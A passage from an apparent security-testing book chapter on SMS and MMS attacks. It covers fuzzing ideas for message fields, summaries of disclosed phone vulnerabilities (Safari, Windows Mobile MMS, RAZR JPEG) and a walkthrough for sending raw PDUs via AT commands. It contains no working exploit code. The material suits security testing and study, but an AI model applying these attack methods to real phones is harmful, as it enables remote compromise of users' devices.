The first type of SMS discussed is attacking concatenated message functionality. The SMS concatenated message functionality is used when a user wants to send a message that contains more characters than can be fit in a single SMS PDU. The message is then split across multiple SMS PDUs, which are each sent to the recipient. A User Data Header is inserted into the PDU that tells the receiving mobile phone that this message is a multipart message that will need to be concatenated together before being displayed to the user. Additionally, the User Data Header for a concatenated message informs the recipient mobile phone how many segments the multipart message is split into as well as what segment number the current message is. As a tester reading about this functionality, it certainly sounds like there are a number of different attacks an attacker may try against this functionality. Because mobile devices typically have extremely limited memory, the simplest attack a tester may wish to try is simply sending the theoretical maximum number of segments that a concatenated multipart message can contain. The tester’s rationale for this attack is that the developer of the SMS implementation in use may make an assumption that the largest concatenated message a user will ever legitimately send would contain 10 or even 100 segments, but not the full theoretical maximum of 255. The developer would then define a message buffer that only contains enough space to contain the “realistic” maximum number of messages, such as 10 or 100. Therefore, by constructing an “unreasonably” large (but still technically valid) message, the tester may find a vulnerability in the target SMS implementation when it tries to reassemble multipart concatenated messages with a greater number of message segments than the developer anticipated.
The second type of SMS discussed is one of the many background MMS messages that occur during the involved process of one mobile subscriber sending rich content (such as a picture) over MMS to another subscriber. The MMS message type that has been chosen for this study is the MMS delivery report. The delivery report is a message sent from the carrier’s MMS server to the mobile phone of the subscriber who originated the MMS in order to confirm that the message has been successfully delivered. The delivery report message contains five different fields: MMS Version, Message ID, To, Date, and Status. As discussed in the SMS concatenation example, the tester should look for fields where the SMS implementation developer may have made assumptions about the likely use case. In the case of the MMS delivery report, the first such field that springs to mind is the To field. The reasoning for this is that a developer could quite easily assume that the To field will only ever contain a telephone number, and therefore the maximum size it will ever need to be is the length of a large international number. However, there is nothing stopping a tester or attacker from putting in an extraordinarily large number or string in this field. The only requirement for this field actually stated in the MMS specification is that it be a NULL-terminated string. Therefore, it would be possible for a tester to create a string much larger than any international telephone number and place it in the To field. When testing MMS implementations, the tester should look for a field such as To due to the assumption that can easily be made about the field (limited to the size of an international phone number) which in reality differs from the actual definition of the field (unlimited size string).
Unlike previous sections, which discussed specific known attacks against SMS and MMS implementations, the goal of this section has been to teach those testing implementations about the challenges they face and the methodology that can be used during testing. It is hoped that by applying these approaches, testers will be able to find and remove issues from SMS implementations being shipped in current and future mobile devices.
Application Attacks
At a different level than protocol attacks are application-level attacks. In the previous section, attacks against SMS and other lower-level messages were discussed. In contrast, this section discusses applications that use SMS as a delivery mechanism. This would be similar to attacking a PC’s browser while leaving the TCP/IP stack alone because it is just a delivery mechanism.
As opposed to the protocol attacks being mostly version agnostic, these types of attacks are very specific to software versions running on phones. Additionally, specific development and debugging tools are needed to develop exploits. Although these attacks may sound far harder to perform than protocol attacks, there is one factor that greatly assists an attacker: Application attacks are similar to their full operating system counterparts. Therefore, the skills involved with attacking operating systems that have become fairly commoditized in recent years directly apply to this area of attacking mobile phones.
It is helpful to examine past vulnerabilities when one is looking for new vulnerabilities. Current application vulnerabilities tend to fall into browser, MMS client, or image categories. Although browser vulnerabilities are not directly related to messaging, they may be accessible through messaging. Browser attacks are well understood in security research, and many tools to aid bug discovery are available. Image vulnerabilities are also not directly related to messaging, but various image types can be delivered to a phone over MMS. Image attacks have become popular on embedded platforms from phones to portable video gaming systems.
This section lists some interesting vulnerabilities on various phone platforms. The goal of this is to give you a brief overview of selected vulnerabilities in order to introduce you to the sort of vulnerabilities that may be triggered at the application level via SMS. The vulnerabilities covered are:
iPhone Safari
Windows Mobile MMS
Motorola RAZR JPEG
iPhone Safari
The first vulnerability that will be discussed affects the Safari browser. As of the writing of this chapter, the iPhone does not support MMS natively. However, third-party MMS clients are available for jailbroken phones—the most popular of which is SwirlyMMS. Apple has announced a native MMS client in the upcoming 3.0 firmware release.
Technical details of this vulnerability were released at BlackHat 2007 by Charlie Miller of ISE (http://securityevaluators.com/iphone/bh07.pdf) The attack results in a heap overflow after viewing a malicious page within mobile Safari, which allows an attacker to execute arbitrary code on the iPhone. The vulnerability is within the Perl Compatible Regular Expression (PCRE) library used by Safari. The significance of this attack is that both the full desktop OS version of Safari and the mobile version extensively share code. As such, this allows an attacker looking to exploit the iPhone platform via Safari to search for vulnerabilities on a Mac OS desktop with full debugging tools and then directly apply their research to the iPhone platform. This is an ideal environment for an attacker looking to exploit application flaws via SMS because it cuts all the restrictions of the mobile device out of the bug-hunting loop.
Windows Mobile MMS
At the SyScan conference in 2007, Collin Mulliner disclosed an MMS vulnerability affecting various Windows Mobile/CE devices (www.mulliner.org/pocketpc/feed/CollinMulliner_syscan07_pocketpcmms.pdf). The vulnerability was discovered in a third-party MMS product by Arcsoft, which creates the MMS client that works within the standard messaging client tmail.exe on Windows Mobile. The vulnerability allows remote execution of arbitrary code through a buffer overflow.
This vulnerability is located in the parsing of the Synchronized Multimedia Integration Language (SMIL). SMIL is an XML markup language commonly used by MMS messages to represent the multimedia components of a message that looks similar to HTML. In many ways the SMIL parser is analogous to the HTML parser in a browser. In Mulliner’s exploit, he discovered that a fixed-length stack buffer can be overflowed while parsing large parameters to the “region” and “text” tags in an MMS message.
The vulnerability is significant because it was discovered by fuzzing the MMS client using an environment not previously documented. The environment used the Kannel open-source SMSC along with Apache and a modified MMS library to perform the fuzzing. It then took advantage of Windows Mobile 5’s ability to receive SMS and WAP messages over a Wi-Fi network to automate testing.
Motorola RAZR JPG Overflow
In 2008, the TippingPoint Zero Day Initiative (ZDI) disclosed a vulnerability (ZDI-08-033) in Motorola RAZR phones related to the processing of JPG files. The vulnerability they disclosed was due to a problem in the way the RAZR parsed thumbprints in the JPG EXIF header. This allowed for a malicious JPG image, when viewed on the phone, to execute arbitrary code.
This vulnerability demonstrates the real-world impact of using MMS notification messages to open an attack surface on mobile phones. By using an issue in a graphics library that is prone to vulnerabilities and pairing it with abusing SMS protocols, an attacker is able to successfully compromise a victim’s mobile phone.
In application attacks, as with testing SMS implementations, the goal is always to make the testing environment as efficient as possible. Toward that end, the tester should always try to remove bottlenecks such as the carrier’s network or even the mobile device itself. The common theme of the application attacks described in this section is that each attack has been discovered by following this methodology—whether it involves attacking a desktop browser or a standard image library. A tester can then pair their findings with the attacks discussed in the protocols section of this chapter to uncover real-world vulnerabilities via SMS.
Walkthroughs
This section walks you through some common tasks required when testing SMS security, such as sending a raw PDU from a mobile phone via a PC, as well as converting XML to WBXML for use in OTA and MMS attacks.
Sending PDUs
The easiest method to send test PDUs from a mobile phone is through the use of AT commands. The AT commands used by mobile phones are extremely similar to the AT commands that were developed for Hayes dial-up modems. They are used by cell phones to programmatically control many functions having to do with the phone’s radio. In order to send SMS messages through a phone, the following is needed:
Serial connection between a computer and phone
Terminal program
Appropriate AT commands
The serial connection to the phone can be established in a number of ways. Originally the most common method involved a serial cable between the computer and a specialized connector to the phone. The cables were proprietary to each phone. Although proprietary cables are not necessary, each phone uses different connection methods. The connection options can be specialized cables, USB cables, IR, and Bluetooth. With so many different options, it is best to acquire manufacturer data on serial connections or to search online.
After the serial connection has been physically established via a cable or a wireless connection such as Bluetooth, a terminal program is needed. For Windows users, HyperTerminal was the de facto choice. However, Microsoft stopped including HyperTerminal with the release of Windows Vista. Therefore, this section will conduct the walkthrough using Putty—a popular free SSH client that can also do serial connections over COM ports (www.chiark.greenend.org.uk/~sgtatham/putty/download.html). For Linux/Unix users, Minicom is a popular and widely available terminal program that can also be used.
The terminal program needs to be configured in order to operate with the phone. The following are options that work with most phones. Sometimes the speed may need to be adjusted.
COM Port Set this to the COM port for the phone. The port will depend on how the phone is connected.
Speed (Bits Per Second) Valid values include 115200, 57600, 19200, and 9600. The speed value itself won’t make anything faster. The bottleneck is not communication between the terminal and phone. The phone’s radio determines SMS throughput.
Parity None
Stop Bits 1
Flow Control Hardware
After the phone is connected, the phone is ready to receive AT commands. The following AT command initializes the phone’s modem and verifies the connection setup. In this walkthrough, all user input commands appear in bold and phone responses appear in italics. Type AT in the terminal. Upon success, an OK should be returned, as shown here:
AT
OK
Next, a basic text message can be sent. This requires a multiline command. The first line contains the command and the destination phone number as a parameter, followed by a carriage return. The example lists the destination number as 555-555-1212. Be sure to replace this with a valid number. The following line contains the payload of the text message followed by the key combination CTRL-Z.
AT+CMGS=”5555551212”
>Test message. <CTRL-Z>
OK
An OK means that the phone’s modem accepted the message and sent it out. In order to send more advanced messages, a different AT command is needed to enable PDU mode. PDU mode allows for binary payloads, which are needed to perform virtually all of the attacks discussed in this chapter. The following example sends a PDU SMS to 1-555-555-1212. The first line tells the modem to use PDU mode. Although it is possible that a phone does not support PDU mode, in practice it is very rare. The second line is an AT command that was used earlier, albeit slightly different. When used in PDU mode, the first parameter is the number of octets to expect. The two zeros at the beginning of the payload do not count toward this total. The third line is the actual payload followed by CRTL-Z.
AT+CMGF=0
OK
AT+CMGS=23
>0011000B915155551512F20000AA0AE8329BFD4697D9EC37<CTRL-Z>
OK
That is all that is required to a send an SMS PDU. There are many more AT commands, but they aren’t required to send messages. Although this will likely be all a tester needs to perform the attacks discussed in this chapter, several useful online resources discuss SMS-related AT commands in depth, including the following:
http://dreamfabric.com/sms/ This site discusses the PDU format and various fields contained in it.
www.developershome.com/sms/ This site contains AT command information relating to SMS messages, along with examples.
Converting XML to WBXML
In order to send the XML-encoded examples shown in the chapter, you first need to convert them to WBXML. WBXML is a binary representation of XML that is used by SMS messages in order to keep messages small. The standard is available from the W3C at www.w3.org/TR/wbxml/. Simple XML can be converted by hand to WBXML, but it quickly becomes too tedious when used with large-scale testing. Instead, automated tools can be relied upon to do the necessary conversions for testers. The libwbxml package (available at http://libwbxml.aymerick.com/) is a WBXML library. It builds on Windows, Unix, and Symbian. Two tools are included in the library to perform conversions:
wbxml2xml.exe This tool converts WBXML to XML.
xml2wbxml.exe This tool converts XML to WBXML.
The library has been reported to be missing some types relating to provisioning. A user-released patch is available for version 0.9.2, but may not fix all issues: http://wiki.forum.nokia.com/index.php/Image:Wbxml_tables.c_frodek.patch.txt.
Conclusion
This chapter has demonstrated how attackers can use both the SMS protocol and others built on top of it to abuse legitimate functionality, as well as to attack the implementations of these protocols. In addition, you have seen how other applications such as graphics libraries and business card software can be attacked by using SMS as a delivery mechanism. Attacking either the protocols or applications has traditionally been hard to do, due to the requirement of generating and sending a full SMS per test case. However, this testing limitation is evaporating due to modern mobile phones’ ability to be tested over Wi-Fi networks, in emulators, and with removable storage cards. Finally, attack tools are now being developed and released that allow even nontechnical users to perform a number of these attacks against mobile phones.
SMS is an umbrella of technologies that will only continue to expand. With each new area of functionality added, a new attack surface is exposed on mobile phones. Whereas mobile phones have traditionally been tightly controlled devices that were hard for an attacker to have enough control over to construct attacks from, modern mobile phones offer both users and attackers unprecedented levels of control. Additionally, whereas in the past writing exploit code for an identified vulnerability required extensive knowledge of obscure mobile phone operating systems, modern mobile phones are moving toward off-the-shelf operating systems such as OS X, Linux, and Windows, which an attacker is likely already familiar with.
For these reasons, as mobile phones continue to become more feature-rich devices running open and well-documented operating systems, SMS will become an even larger attack surface that both developers and end users need to be aware of.